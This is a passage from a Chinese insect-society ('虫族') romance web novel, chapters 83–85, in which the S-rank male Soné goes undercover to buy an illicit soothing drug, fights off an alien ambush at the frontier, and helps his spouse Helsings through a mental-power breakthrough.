无他,这只雌虫个头极高,体形却修长矫健,肤色白皙五官秀美,尤其那一头海藻绿的长发和碧湖般的眼眸,简直辣得过分! 雌虫在窗边坐下,翘起长腿一边喝茶一边观赏着碧海金沙。 他简直与身后的美景宛如浑然天成的一幅画,热烈而又美艳,幽冷而又清雅,迷得店里雄虫直勾勾地盯着他。 就在这时,店门处风铃传出响动,一只棕色头发的雄虫走了进来,左右一看,缓缓地朝着窗边走去。 随着这只雄虫坐在绿发雌虫对面,所有雄虫不禁失望地在心里哀叹。 原来这尤物已经约了雄虫! “您来迟了。”绿发雌虫说道。 “抱歉,路上出了一点岔子。”棕发雄虫竟然真的道歉。 旋即自我介绍:“我是菲诺。” “维克托利亚。”绿发雌虫说道。 他对这只雄虫一点都不客气,但没有虫觉得他做得不对。 维克托利亚,这只雌虫有这样的特权。 “你的名字很美,”菲诺说道,“第一次线下见面,我准备了一些礼物给你。” 暗戳戳偷窥的众虫顿时恍然,原来是网友面基。 靠了,这种网友什么时候能让他们碰到! 维克托利亚面色冷淡,却也从包里拿出一个小盒子,“真巧,我也为您准备了一份礼物。” “看来我们心有灵犀。”被那双湖绿色眼眸盯着,菲诺的语调忍不住又放轻几分。 “这里不太安静,不如我们出去走走?这片海滩景色不错。”菲诺说道。 维克托利亚点点头,不着痕迹地避开菲诺伸到他腰上的手。 他们交换了礼物,在场雄虫顿时心如死灰。 走到虫迹罕至的礁石区,菲诺才压低声音问:“维克托利亚董事长,你这么出众的条件,怎么会需要这个?” 维克托利亚仍旧冷淡,不过菲诺已经习惯,甚至觉得这只美貌的雌虫别有风情。 “我需要的不是这份药剂,而是冷静的头脑,”绿发雌虫的下颌高傲地微抬,“雄虫只会影响我赚钱的速度。” “要那么多钱又有什么用?”菲诺笑眯眯地问。 “那你们又为什么冒险挣这十亿?”维克托利亚眼神锐利,“我不觉得你们缺这点钱。” 菲诺耸肩,“为了刺激喽。” 维克托利亚冷淡开口:“的确够疯,非要来防备森严的主星交易。” “这东西可不仅仅代表金钱,像您这样的权贵,要的不就是那份专心赚钱的冷静安全?”菲诺神秘一笑,“让您见识一下我们的实力,以后还有大笔交易可以做嘛。” “不过您的容貌比图片上更为出色,不如……”菲诺眨眨眼,“诺顿酒店的顶楼套房已经为您准备好了。” 维克托利亚冷冷地看着他:“我看不上你。” 菲诺:“……Okok,尽管您这么说,不过还真是让虫生不起气。” 走到堤岸尽头,舰场已经隐隐可见。 菲诺看着绿发雌虫修长的背影,突然开口:“如果我不为你提供返航帮助,你会不会来找我?” 维克托利亚连头都没有回:“你大可以试试。” 菲诺看着他离开,半晌后打开维克托利亚送给他的那个礼物。 “……” 一块金条。维克托利亚不会是随手从金库里拿了一块吧? 虽然值钱,但这比海面吹来的风暴还让菲诺寒心。 第二天,维克托利亚乘坐星舰离开了主星,有的时候身边还带着一只手提包。 与此同时,圣山的宫殿里。 “哈哈哈哈哈……” 维希笑得差点掉到地上。 “圣子殿下……真是有魅力……哈哈哈哈!” 索涅黑着一张脸:“反正东西拿到了。” 恩修表情严肃中透着诡异:“那你成了他的大主顾,是不是有机会得到更多线索。” 索涅点头,突然手环发出一阵震动。 他低头一看顿时惊喜,连忙接通。 “雄主……您在德洛伊宫?”赫尔辛斯的声音传来。 索涅点点头,旋即反应过来:“我在,怎么不开视频?” 维希和恩修噤声。 那边沉默了几秒,一道犹豫的声音传进索涅耳朵。 “您是不是……有什么特殊任务?怎么扮成雌虫,和雄虫在海边约会?” 索涅:“……” 他看过去,发现那两只虫已经笑得抽搐。 索涅把他们赶出去,低声和雌虫解释:“确实有个任务,只能由雌虫去,但是不适合被别的虫知道,所以我就……” “所以您就把自己打扮成一只……那么漂亮的雌虫,去见一只雄虫。” 索涅结巴:“啊不,不是,那也是只雌虫,他假扮雄虫。” “所以您和雌虫在海边约会了。”赫尔辛斯说。 索涅抓耳挠腮,在沙发上坐下又站起又坐下,抠着沙发低声求饶:“亲爱的虫虫,你别笑话我了……” 那边传来一丝轻微的气音,雌虫肯定是忍不住笑了出来。 “您那副模样,却不是和我约会,我有些嫉妒。”他低声说。 索涅快被恶心死了:“什么约会,我隔夜饭差点吐出来,你不知道他看我那眼神,我真想把他扔进海里喂鲨鱼。” 频道内传来被干扰过的笑音。 “赫尔辛斯,开视频嘛,我想看你。”索涅轻声说。 他根本没意识到自己黏糊糊的语调,却把偷听的维希和恩修恶心个够呛,回过神来就看到S级雄虫的视线正直勾勾地穿过门缝落在他们脑门上。他们连忙关上虚张的门扉,躲进花园逗弄索涅家的小虫崽子。 赫尔辛斯的脸出现在面前,索涅说话的声音就更轻了。 “我跟你撒娇,被他们听到了。”他抱怨着,“我伟岸的形象没了。” 他的雌虫安慰他:“没事,昨天就已经没剩多少了。” 索涅:“……你也欺负我!” 雌虫笑得眉眼温柔。 “您注意保护自己,”他顿了一下,“这些事应该交给军雌去做。” 索涅也知道自己不该冒险:“没有完全信任的军雌,我们要从莫比乌斯手里拿到高浓度抚慰剂,万一出什么意外,影响范围太大了,而且会打草惊蛇。” “只有我去,万一被发现也能逮住那家伙,抑制药剂扩散。”他低声向雌虫仔细解释。 他不会冒险,他还有虫虫和崽子呢。 “辛苦您了。”雌虫心疼地敛眉。 “确实挺辛苦。”索涅皱起眉。 他让侍者把小虫崽抱过来,于是维希和恩修就只能在花园里干瞪眼。 “父父!”小崽子大喊,声音带着童稚特有的高亢。 “可算是能咬准读音了。”索涅替小崽子邀功。 “科尔真厉害。”赫尔辛斯夸赞小崽子。 小崽子害羞得埋进索涅怀里。 安斯族的精神武器对军雌的影响确实更大了,已经有一波雌虫精神状况不佳被送回主星,接受治疗和精神梳理。 艾浮检举索涅失败后威望大减,不过随即而来的婚礼让目光又回到他身上,讨伐索涅为什么不娶更多雌虫的帖子再次喷涌。 没过多久,索涅挂出了一张精神力匹配度检查报告。 总而言之一句话,他的精神力等级太高,已经没有几只雌虫能接受他的梳理,更何况这名单里的雌虫,除了赫尔辛斯,都已经耄耋之年半截身子入土。 [……话说,被索涅阁下梳理是什么感觉?] [你问我我问谁?] [照你的等级,应该跟被铁钉挖脑子差不多。] [……] 雌虫们对索涅的垂涎终于告一段落。 铁钉挖脑子还是太过恐怖了,这么强悍的雄虫他们无福消受,还是让赫尔辛斯上将好好留着吧。 第83章 精神丝暴乱 第一笔交易过去没多久…… 第一笔交易过去没多久, 菲诺就说有一个大货刚做出样品,效果堪称神迹,自己拿到了两瓶的分配权, 第一时间就来联系维克托利亚。 费伦斯对那玩意儿的化验结果也刚刚出炉, 立刻又投入新的研究中, 似乎取得了不错的进展。 艾浮的婚礼办得极为豪华奢靡, 并在新婚第二天就去慰问回到主星的受伤军雌, 这些虫大多是西沙的拥护者, 他这明摆着挖墙脚,西沙还身处囹圄管不了他。 维希的一个朋友就是其中一只军雌的雄主,对着维希大为吐槽艾浮的多管闲事。他当然会梳理好自己的雌虫, 不需要别的雄虫关心。 慰问军雌可以, 能不能别慰问有主的军雌? 大家都是成年虫, 更喜欢得到他们切实的利益,而不是去做艾浮营销的踏板。 索涅并不会去做这些事, 因为他压根不需要专门动手。 S级雄虫的名头挂出去,自然而然吸引来一批幕强的虫子。贵族之间消息互通,艾浮和西沙不断在索涅这儿吃瘪的事情并不是秘密,跟随谁更有前途一目了然。 还有维希这个积极的结党营私分子,抱着让索涅干倒艾浮的期望, 打着索涅的招牌到处活动,维克托利亚这样的财团一把手他屁股后面多的是。 菲诺联系维克托利亚的三秒后,这个消息就被递到索涅这边。 维克托利亚表示愿意深入莫比乌斯内部,和菲诺谈这一场交易。 维希也觉得应该让维克托利亚去。 “反正你绝对不能去, 你万一出事我要被那群虫啃成骨头架子。”维希严肃地说。 索涅眉心蹙起,缓缓地将一个盒子递给维希。 “今天早上刚收到。” 维希打开盒子,瞳孔一缩。 “邀请函?!!” 他将那张卡片拿起来, 发现和之前那张一般无二:“……他们还真敢寄给你。” “看来他们认为我是他们的目标客户。”索涅说。 “但是你不方便做抚慰剂的交易。”维希说。 没有雄虫会买抚慰剂。 “抚慰剂已经不是重点,”索涅指间夹着那张金属卡片,“关键是他们和那三只死亡雄虫的关系。” 虽然艾浮跳出来针对他,但索涅总觉得这事和莫比乌斯提供给那三只雌虫的抚慰剂脱不了干系。 索涅并没有理会这份邀请函,因为很快来自边境的汇报就在议会引起胶着不定的争论。 安斯族的奴隶星发现了雄虫的踪迹,并且赫尔辛斯主动申请退居二线,不再担任指挥官。 安莫因并没有详说赫尔辛斯的汇报内容,只让议员们讨论接下来该由谁担任指挥官。 议员们眼中神色各异,猜测着赫尔辛斯是不是负伤了。 索涅深深地皱起眉。 会议结束后,索涅拦住了想迅速离开的安莫因。 安莫因看着他的眼神,无奈地叹了口气,“到飞行舰上去说吧。” 路上离开的议员们看起来有讨论的迹象,看到他们过来却都短暂地噤声。 索涅关闭飞行舰舱门,才发觉自己的手心已经掐出血痕。 “他到底怎么了?” 安莫因一时不知道该怎么说。 议会上他可以语焉不详,但索涅追问到这里,他知道瞒不过去。 安莫因叹了口气,将报告发给索涅。 “你放心,不是受伤,”他言简意赅,眉头拧紧,“是他的精神力处于突破临界点,但不知道为什么突然暴乱,根本无法控制。” “暴乱?”索涅瞳孔骤缩。 这是在瞬息万变的战场上。 不谈怎么指挥怎么冲在最前面,如果发生危险,赫尔辛斯连逃都逃不掉! 他嘴唇颤抖着:“怎么会这样……” 难道是他……是受他的影响? 是他的错…… “现在他的力量时强时弱,甚至会影响周围军雌和探查仪器,留在指挥位上是灾难。” 安莫因语气沉重。 “他突然暴乱,安斯族的精神攻击武器对他的影响比之前还要大。开战以来我们的精锐军雌大面积受影响,实力锐减。这几天只能勉强支撑防线,损失很大。” 索涅沉默了片刻,再抬头时,眼神已经变得锐利坚定。 “我要去边境。” “不行!” 安莫因断然拒绝,“那里太危险!你现在去能做什么?” “赫尔辛斯在那里,前线需要他,而他需要我。” 索涅的眼神让安莫因喉咙哽住。 “我的精神力是S级,不会轻易出事,难道要我看着他陷入危险?” 安莫因还想说什么,但张了张嘴,又什么都没说出来。 他们飞回莫里斯宫,费伦斯正翻看赫尔辛斯传回来的数据。 “你劝劝他。”安莫因带着气恼大步走进来,身后跟着索涅。 “怎么了?” 索涅又把自己的想法说了一遍。 费伦斯皱起眉:“或许可以让赫尔辛斯回来。” 安莫因不是没想过这个办法,但赫尔辛斯的离开势必会让军队士气大减,如果安斯族还有后招,他们节节败退几乎是必然。 “让我去吧,我总归是圣子。”索涅说。 “这是责任。” 费伦斯却知道索涅最在乎的不是责任。 但索涅也不会忽视责任。 雌虫突破的案例有那么不多的几个,但从来没出过暴乱的情况,费伦斯一时之间也想不出办法。 “……你不要暴露自己的身份。” 安莫因瞪大眼不可置信:“我是让你劝他!” 费伦斯无奈:“你都劝不住才来找我,我怎么就劝得住?” 安莫因哑口无言,赌气地杵在一边,看着他们商量行事细节。 “索涅,我们理解你的心情,但你的安全同样重要。”费伦斯最后再次嘱咐。 决定好后他很快将事情安排好,安莫因一脸不情不愿地照办。 安莫因和费伦斯没能拗过索涅的坚决,索涅安排好事务后将小科尔送到莫里斯宫。 “敷敷……”小家伙懵懂地看着雄父离开。 他还以为和往常一样,雄父有很重要很重要的事要做,把他送到山顶的房子住一天而已。 费伦斯将小小的科尔抱在怀里,看着索涅踏上飞行舰飞往南部军区。 这个消息被严格封锁,只有他和安莫因以及第一军的卡特斯上将知道。 卡特斯第一次听到时坚决不同意,让S级雄虫去边境星战场怎么行! 但是他最后还是同意了,因为他们别无选择。 索涅伪装成一名普通军雌,丝毫不违和,和正常军雌一样训练休息备战。 星舰在寂静的宇宙中穿梭,距离边境星越来越近。 索涅站在舷窗前,看着外面点缀的繁星,心神不宁。 赫尔辛斯…… 星舰跃迁多个虫洞,以最快的速度前往边境星,一路上风平浪静。 卡特斯几乎要放下防备,就在星航准备进行最后一次跃迁时,一阵无形的波纹划过整个星舰,旋即舰身轻微震动,刺耳的警报骤然撕裂了舱内的宁静! “敌袭!是安斯族的埋伏!”支队长嘶吼着,“所有军雌进入战斗位置!” 一片整齐有序的备战中,索涅很尴尬地躲在一角避开了集合。 他没有骨翼。只有一根隐藏在衣服下的尾巴。 星舰腹舱开启,数架攻击舰滑出腹舱眨眼间消失在远处。 索涅来到指挥室,卡特斯上将正在观察磁流图。 “奇怪……他么躲到哪里去了……”卡特斯额上冒汗,安斯族的星舰隐匿技术比以前更厉害了。 索涅走进指挥室,卡特斯看见了却没管他,其他虫互相看了一眼,也就没管他。 “要不……让我试试?”索涅看了一会儿后出声。 磁流图的观看效果与精神力等级息息相关。 卡特斯心有疑虑,但还是让开。 毕竟是S级雄虫,或许…… 索涅伸出精神丝,指挥室内雌虫顿时感到额角一胀,后背随之汗毛乍起。 这只军雌是谁?精神力等级这么高! 他们诧异地看向卡特斯,却见卡特斯不准备解释。 数道炽烈的能量光束从隐匿的星域中射出,精准地袭向星舰,被防御舰迅速拦截。 机甲内军雌们根据命令迅速反应,冲向舷外。 然而,一股无形的精神波动如同潮水般蔓延。 许多军雌的动作瞬间变得迟滞,控制机甲的精神丝刹那松懈蜷曲,差点酿成事故。 “注意!精神攻击!” 军雌们心头发沉,抛弃精神力迅速联结动捕系统。 卡特斯面色黑冷。 这次的埋伏太过精准,仿佛早就知道了他们的航线和抵达时间。 该死的奸细! “+39°-170°!”索涅突然出声,“一号攻击口!” 卡特斯一愣,旋即瞪大眼。 原来能精确到每个攻击口的吗? 星舰的炮口积聚能量,幽蓝的光束寂静无声地抵达看不见的位置,无声的爆炸带来的余波让安斯族星舰剧烈晃荡。 “该死!他么的这种狗屎运能让他们碰到!”安斯族指挥官怒骂,“防御舰死哪儿去了!没看到有攻击吗?!!” “长官,我们是防御攻击一体舰……” “我知道!那还不他么给我打!!” 最新的星舰给他们用,要是这都弄不死一只雄虫,他也不用腆着脸回去了! “长官!他们的驻军也赶来了!” 指挥官霎时面色难看。 优势这么大还一直打不过,虫族简直是变态! “轰——”又一阵震颤。 “长官……防御口又毁了一个,维修器正在抓紧抢修!” 安斯族指挥官重重地抹了一把脸。 简直邪门! 第84章 香香奶油 “到底怎么回事!不是说他们…… “到底怎么回事!不是说他们那边没有能识破我们位置的虫子吗!” 安斯族指挥官越想越觉得不对。 他大爷的, 被做局了! 副官小跑进来:“长官,驻军已经从另一边打过来,我们下一步怎么办?” “该死, 连这点时间都拦不住!”指挥官骂道。 “那只雄虫在哪儿?” 副官:“在……额……在指挥室!” “?” 此时此刻, 索涅正不停地描述着安斯族星舰的位置, 这些家伙跟滑溜的鱼一样。 “殿——情况已经控制住, 你可以歇会儿。”卡特斯及时收回脱口而出的称呼。 “我消耗很小, 还是不要放松。”索涅闭眼说道。 卡特斯心中的紧张得到缓解, 与其他将领对视,还是没有为他们解惑。 “驻军部队已经赶来,我们尽快结束战斗, 免得前线火力不足——” “——轰——”一阵超分贝巨响, 耳朵瞬间流血失聪。 星舰半个驾驶室化为乌有, 灼热的白色火焰直扑而来,索涅的瞳孔几乎缩成一线。 “殿下!!” 卡特斯的声音在真空中消弭。 热浪彻底席卷索涅的身影。 卡特斯一步踏入机甲, 艰难地气喘着迅速搜寻索涅圣子的踪迹。他额头大颗汗珠滚落,要是索涅圣子身亡,他万死难辞其咎。 “卡特斯……”频道内同僚提醒的声音传来。 卡特斯下意识抬头。 一架重型机甲从消弭的火焰中缓缓出现,通讯频道连接,索涅平淡的声音响起。 “我没事。” 卡特斯猛地松了口气, 瘫坐在椅子上。 索涅对机甲的操控比不上这些身经百战的军雌,但也还算熟练。 炙热的火焰擦身而过,他联结机甲的精神丝在接连不断的精神攻击中漂浮。 索涅皱起眉。 但他这时无暇细想,连忙操控机甲应对安斯族的攻击舰。 安斯族已经开始准备撤退, 但驻军和换防队前后夹击之下,他们的应对逐渐捉襟见肘,星舰四个攻击口两个防御口暂时失灵。 “该死的!”安斯族指挥官心里怒骂。 这一趟装备和时机的优势都被他们占据, 怎么突然走到这种狼狈的境地! “长官,那只雄虫应该已经死了。”副官说道。 “废话,他不可能活着。”指挥官冷笑。 指挥室都被炸成破口袋,军雌能反应过来召唤机甲逃生,一只雄虫有那种能力吗?就算是高级雌虫,在这种情况下一秒的分神都必死无疑! 虽然各方掣肘,但也一时无法攻破安斯族星舰,两方只能眼睁睁看着安斯族没入虫洞,逃之夭夭。 卡特斯松了口气,众军雌搜寻战场后回到星舰上。 他刚扫视着滑入腹舱的机甲,就看到一道身影顺着机甲的金属结构三两下跳下百米,一声轻响后落到地面,拍了拍手起身。 卡特斯:“……”他怎么忘了索涅圣子没有骨翼。 “殿下,”事已至此,也没必要再瞒着,卡特斯飞到索涅面前,“实在抱歉让您经历这样的危险。” 索涅无所谓地让他起来,“这算什么,我知道边境的危险性。” 卡特斯对索涅的不予追究也有些惊讶,但更多的是意料之中。 索涅圣子虽然面恶,但其实很好说话,只要不打歪主意,殿下是很宽容的。 “赫尔辛斯来了?!”索涅圣子突然抬头张望,深蓝的眼睛爆发出浓烈的喜意。 “……”卡特斯只感觉额角一胀,紧接着圣子的身影一闪就消失在他面前。 卡特斯回头一看,圣子正在拔足狂奔。 他又看向远处,一只戴着面具的金发军雌缓缓地从高空落到地面,面色有些苍白,不过却露出温和的笑容。 “别动!”圣子大喊。 赫尔辛斯停下张开的骨翼,笑着看他的雄主扑过来。 身体被这股喜悦的力道冲击得微微后仰。雄虫闭眼埋头,趴在他肩膀上,胸膛与他紧紧相贴。 脖颈处裸露的皮肤与雄虫眉眼相贴,渐渐感觉到一阵濡湿。 赫尔辛斯搂住雄虫的背,他的雄虫正在他身上轻微颤抖。 他抬手,缓缓地放在雄虫后脑勺上,轻轻地拍了拍,一下一下地给雄虫顺着气。 索涅情难自禁地抱了他很久,才双手摩挲着他的后背和腰腹,“哪儿受伤了?怎么有血腥气?” 雄虫将他翻来覆去地查看,赫尔辛斯嘴角一直挂着笑意,看着他:“已经好了,皮外伤而已。” “皮外伤也是伤……”雄虫嘀咕着。 赫尔辛斯面色之苍白,让索涅忍不住揪心,那双眼睛里也有不少红血丝,他摸了一遍雌虫的胸腹,发现雌虫瘦了不少。 “现在方便吗?我们去给你梳理。”索涅不顾周围那么多虫看着,倾身将一枚轻吻印在雌虫唇上。 “等回到驻地吧。”赫尔辛斯的唇上扬得更加厉害。他喜欢雄虫这样毫不掩饰的爱。 索涅亦步亦趋地跟着赫尔辛斯,看着他与卡特斯交接。这一批军雌将替换战场上状况不佳的军雌,卡特斯不日就要回主星,赫尔辛斯的想法是让索涅跟着一起回去。 虽然虫虫没明说,但索涅感受出来了。 他拽着雌虫的衣角,这副姿态让经常跟他同时参会的高级将领们颇为不适应。 总感觉圣子的皮壳下换了个黏豆包…… 维修机器一刻不停地检修着星舰各部分,索涅和赫尔辛斯路过正在被机甲维修师检查的SS09,雌虫停下来看了一会儿。 “您没有驾驶我送给您的机甲。”雌虫低声说。 索涅无奈:“太显眼了,来不及把它换个外形,就这样,我还被他们发现了。” “您怀疑,安斯族这次的目标是您?” 赫尔辛斯没觉得他自恋,这让索涅笑弯眼:“也不一定,但毕竟我在哪儿他们就攻击哪儿。” 这是他的发现之一。 赫尔辛斯的表情让索涅忍不住抠他的手心,雌虫手指屈起夹住他玩闹的指尖。 他们慢慢地巡视着星舰,这是一项必须进行的工作,但他们又不想分开,于是就出现了这样回头率极高的场面。 索涅感受到虫虫刚才的喜悦在消退,取而代之的是忧心忡忡。 他没有问,静静地等着雌虫说出来。 赫尔辛斯沉默了很久,才很难过似的开口:“是因为我,才让您面临这样的险境。” 索涅没有说话,只是指尖移动着,缓缓地插进雌虫指骨之间。 雌虫的手比他宽大,肤色也深了好几个度,但皮肤却比他的更冷一些。 赫尔辛斯垂下眼,修长的眼睫很委屈似的耷拉着。 索涅看了眼四周发现虫很少,于是迅速地拉下雌虫的头亲了一下他的眼睑。 “不要不开心了,来,亲亲。” 赫尔辛斯脸爆红。 刚才索涅亲他唇的时候都没这么害羞。 索涅笑得心满意足。 偷窥的军雌们惊掉下巴。 这是那个高傲矜贵的王虫战神吗?是那个高冷凶恶的圣子殿下吗? 周围隐约窸窸窣窣,索涅假装没听到。他不想因为外界影响这来之不易的贴贴机会。 星舰抵达边境星,民众听闻身为S级雄虫的圣子随军而来,顿时士气高涨狂欢呼喊。 对边境星来说,圣子亲自到访几乎是绝无可能的事,更别说是身为种族瑰宝的唯一一只S级雄虫! “听说圣子思念赫尔辛斯上将,求了他的雄父雌父很久才被允许来边境。” “神仙爱情啊,听得我心都化了……” “可是我们这儿不安全……” “有赫尔辛斯上将,还有那么多军雌呢,再说了S级雄虫可不是吃素的!” 话虽这么说,可大多数虫还是忧心忡忡。 抵达边境星当晚,赫尔辛斯就按照议会的决定将指挥权交还给科亚。 这种级别的战争,指挥官的精神力等级非常重要,看来议会也是毫无办法。要是乌尔加还正常任职,这次肯定会被派来接替。 赫尔辛斯在星舰上有一间不大的卧室,离指挥室、驾驶舱、机甲舰场都很近。 “抱歉,这艘星舰位置优越的卧室都比较小。”雌虫愧疚地说。 “挺大的,比我们曾经在边缘星的卧室大。”索涅笑起来。 他上手扒掉雌虫全身的衣物。 “趴着吧。” 灯光明亮,赫尔辛斯稍有些害羞。 索涅在翼腔周围轻轻地挠了几下,指尖探进里面戳了戳翼尖。雌虫身体颤抖着,哀怨地回头看了他一眼。 索涅刚才看到雌虫漂亮的骨翼,早就想这么做了。 他伸出精神丝进入雌虫的域场,瞬间眉头蹙紧,心头像被一只手拧了一把。 图景电闪雷鸣,虚空凌乱不堪。 狂躁的精神丝已经将壁障撕裂出无数大大小小的豁口,一刻不停地攻击着其他精神丝,能量满溢到精神丝圆鼓皲裂,却被堵在根部,坚固的核心堵塞着试图长出的新芽。 现在被雌虫控制住,这段时间应该暴乱过很多次。 索涅心头发紧。 他小心地控制着精神丝,逐一解开结团,向深处核心挺进。 他的精神丝能量庞大,对雌虫来说有些负担,却也是美味的食物,但该吃东西的不是这些小家伙。 雌虫闷哼一声。 “疼吗?”索涅释放出信息素缓和着雌虫的情绪。 雌虫摇摇头。 只是感觉有什么东西碎了,又有什么在飞速生长。 像无数种子从土里萌芽,在充足的雨露滋养灌溉下迅速抽条,拔地而起一夜之间长成参天大树。 “别……” 雌虫惊恐推拒的手被紧紧扣在枕头上。 “别担心,我多的是,都给你。” 赫尔辛斯羞耻地闭上眼,雄虫在说什么啊! 索涅将雌虫的核心挖出一个个小洞,精神丝便从这些芽点疯狂生长,吃着他的能量,瞬息之间成熟。 进阶后的能量补充是个大问题,曾经索涅吃掉了费伦斯几十吨高级营养液,现在他直接从外界抽取能量,转化后喂给赫尔辛斯。 环保又实惠(bushi)。 赫尔辛斯迷蒙地睁开眼,抓住雄虫摁着他后颈的手腕,鼻尖香味缭绕,更让他力气虚软。 “嗯……够……够了……” 索涅沉浸在挖洞种树喂能量的活动中不能自拔。 雌虫眼角渗出一丝泪,无力地闭上眼,精神丝生长得太快…… 太饱了…… 等索涅感觉差不多退出精神域时,发现赫尔辛斯已经撑晕了过去。 “……!” 他连忙查看情况。 一切正常啊,怎么回事…… “赫尔辛斯,赫尔辛斯。”索涅小声地叫雌虫。 雌虫并没有完全昏迷,眼睑颤动着想回应。 只是冲击太大,他的身体需要适应。 索涅有些心虚,怪不得费伦斯让他悠着点。 雌虫脸颊酡红,浑身棕粉的皮肤散发着草莓奶油般的色泽,索涅看着看着就有点口干舌燥。 他趁着雌虫没醒,很猥琐地爬到雌虫身上嗅了嗅他的脖子,然后愉快开始食用这块香香奶油。 等赫尔辛斯醒来,发现自己浑身上下布满某种痕迹,犹如被亲吻狂魔袭击了一样。 “……” 他找到雄虫时,雄虫正蹲在他衣柜前给自己的行李腾地方,尾钩愉快地左右晃来晃去。 他每拿起一件衣物,都要摸两把然后凑上去闻一闻。 赫尔辛斯:“……” 难道S级雄虫进化的终点是变成小狗吗?—— 作者有话说:就只是突破精神力,没有do啊!什么时候可以放过我 第85章 你是神迹 雄虫余光看到他,有些尴…… 雄虫余光看到他, 有些尴尬地放下手里衬衫关上衣柜。 赫尔辛斯被他欲盖弥彰地推着坐在床上。 “身体怎么样?还难受吗?” 赫尔辛斯摇头:“……已经好了很多。” “……您刚才在做什么?” 索涅脸一红。 “我那个……整理衣服啊,你用的什么香薰,真好闻。” 现在是在战场, 赫尔辛斯早已不用香薰。 “只有洗涤剂。” 索涅:“……哦哦, 那还挺香的。” 他偷偷地贴着雌虫坐着, 伸手揽住雌虫柔韧的腰肢。 “你想让我回去?”索涅将下颌放在他肩上。 雌虫侧头垂眼:“他们已经知道您在这里, 这里不安全, 环境也不太好。” 索涅知道这些, 但他舍不得。 “科尔还在等您回去呢。”雌虫轻声说。 “可你也一样想念我。”索涅闷声。 赫尔辛斯心尖犹如针刺。 他闭上眼侧头靠着雄虫,“您这样纵容我,我却没什么能给您。” 索涅闷笑一声:“又钻牛角尖了, 虫虫。” 他叼住雌虫的耳尖, 气流喷洒在耳廓, 带来沉闷深重的响声。 “那就吻我吧。” 赫尔辛斯托着雄虫的脸,苍白柔软的皮肤在他指尖下凹。他低头, 轻轻吻在雄虫脸颊上。 索涅睁开眼,抬头咬了他一口。 “我们结婚三年了,你应该给我一个火辣的吻让我晕头转向。” 赫尔辛斯:“……我试过,您不会晕。” 虽然往往由雄虫掌控着主动权,但一般来讲雌虫才是床上出力的那个。赫尔辛斯曾经郁闷他被索涅压制的事情, 无数次试图让他的雄主知道自己雌君课程的优异成绩,但都失败了。 “而且……”雌虫微妙地停顿,“您越来越清醒……” 赫尔辛斯的语气有些低沉,问出了一个他一直想问的问题:“我是不是没让您满足?” 索涅:“?” “你怎么会这么想?!” “我已经神志不清时, 您总是很清醒地看着我……”赫尔辛斯低声说。 索涅失笑:“我不光那会儿看着你,我全程都盯着你。” “你有多漂亮,你自己不知道?” 雌虫怔然。 “我舍不得闭眼, 你竟然怪我盯着你看。”索涅赌气地又咬住他,嘴里哼哼唧唧,“我生气了!” 赫尔辛斯被他咬住说不了话,只得任由他的小雄主发泄。 被啃来啃去,他毫无怨言。毕竟这解开了他的一个心结,而且……他也很喜欢这样黏糊的小雄主。 突破的过程比赫尔辛斯预计的要顺利得多,他和费伦斯通完话,才知道索涅究竟对他做了什么。 雄虫正端着两份补充餐进来:“他们说我有饭吃,我就要了两份。” 索涅知道这是专门给他准备的,既然准备了,那不吃白不吃。 他把一个小面包塞进雌虫嘴里:“好吃吗?” 雌虫点点头,眼神复杂地看着他。 “怎么了?” 赫尔辛斯心里柔软,但又担忧索涅的身体:“费伦斯说,您把自己当能量转换器,帮助我进阶……” 这比营养液的效率和纯度不知高了多少倍。 “这又不费力,战场局势莫测,你在营养仓里泡几天,不知道会增加多少危险。” 索涅用面包夹上酱料肉片生菜,再次塞进雌虫嘴里:“张嘴。” 雌虫温驯地下意识张开嘴,才突然反应过来:“您怎么都喂给我唔……” “放心,我饿不着自己。”索涅笑眯眯,他好喜欢赫尔辛斯,想这样一直投喂他。 赫尔辛斯心里却有一件事一直没放下,刚才他已经告诉费伦斯。 “您之前的意思是,议会内部有奸细?” 索涅心里也一直在想,不过虫族有奸细的事他并不惊讶,他现在心里打绺的是另一个发现。 他斟酌着字词,不想吓到虫虫。 “我发现……我好像能吃掉那些精神攻击。” 他看到赫尔辛斯眼里的震惊,又嘟嘟囔囔地为自己解释:“我只感觉到一点点,也说不定……但我觉得这挺重要的,我想告诉你。” 心中的震惊和复杂思绪如同潮水交织,但看到雄虫这副忐忑的样子,赫尔辛斯还是失笑。 索涅偷看雌虫的表情,却猝不及防被雌虫亲了一口,又被拥进怀里。温暖的掌心安抚地落在他后颈。 “您是神迹,无与伦比的神迹。” 索涅耳朵发烫,心里也随之彻底安定。 赫尔辛斯信任他,不觉得他是个怪物,那他就无所畏惧。 “会不会在战场上有用?”索涅问,“我没试过,不知道可以吃多少。” 但不管怎么想,那么大范围的精神攻击都不是一只雄虫可以吞得了的。 还有更现实的问题……赫尔辛斯无意识地蹙起眉,跟雄虫嘱咐:“无论真假,先不要把您的能力泄露出去。” 索涅点点头,他知道雌虫什么意思。 安斯族精神攻击的原理很好理解,但就像没有翅膀的种族明知道飞行原理却无法飞一样,这东西也不是随便可以掌握和化解的。费伦斯已将原理研究透彻,但怎么反制却一筹莫展。 现在比较有效的应对方法就是加强训练军雌与动捕系统的相宜性,但在太空低重力条件下,不论怎么训练,提升都微乎其微,完全比不上精神力操作的敏捷精准。 赫尔辛斯陷入沉思,索涅却对自己吃了精神攻击这事很在意。 “我再找机会试一次,看看到底是不是我感知错误。”他坚定道。 赫尔辛斯却知道,S级雄虫哪会出现感知错误?他心中叹了口气。 “别担心,我不是要冲上去硬抗攻击,如果知道原理,说不定能研制出类似的反制武器。”索涅安抚焦虑的雌虫。 赫尔辛斯笑了一下:“您比我冷静,我又钻牛角尖了。” 索涅“啵”的一声吻在他唇上。 机会来得很快,安斯族很快发起第二轮进攻,虫族只能凭借大量AI攻击舰进行应对,每场战争消耗的军事资源都是海量,就算虫族再财大气粗,也无法和安斯族长期对抗。 索涅站在星舰露台,赫尔辛斯找了个理由清退了这里的其他虫子。 深邃黑暗的宇宙好似能吸走虫的灵魂,雄虫穿着一身制式差不多的军服,消瘦得身影站在露台边缘,仿佛下一秒就要跌入宇宙,回归黑暗的怀抱。 赫尔辛斯手腕发麻,忍不住十指握紧,狠狠地掐着掌心,才能抑制住冲上去拉住雄虫的欲望。 良久,长身玉立的雄虫睁开眼,深蓝的眸子无比明亮。 “我的感知没错,有一小片精神攻击被我吃掉了。” 他的语气里有震惊和喜悦,也有一丝茫然。 索涅总觉得自己是个另外的奇葩物种。 怎么连攻击波都能吃? 但想到精神攻击不过是震荡的宇宙能量,他又释然了。 宇宙能量能吃,攻击波凭什么不能吃! 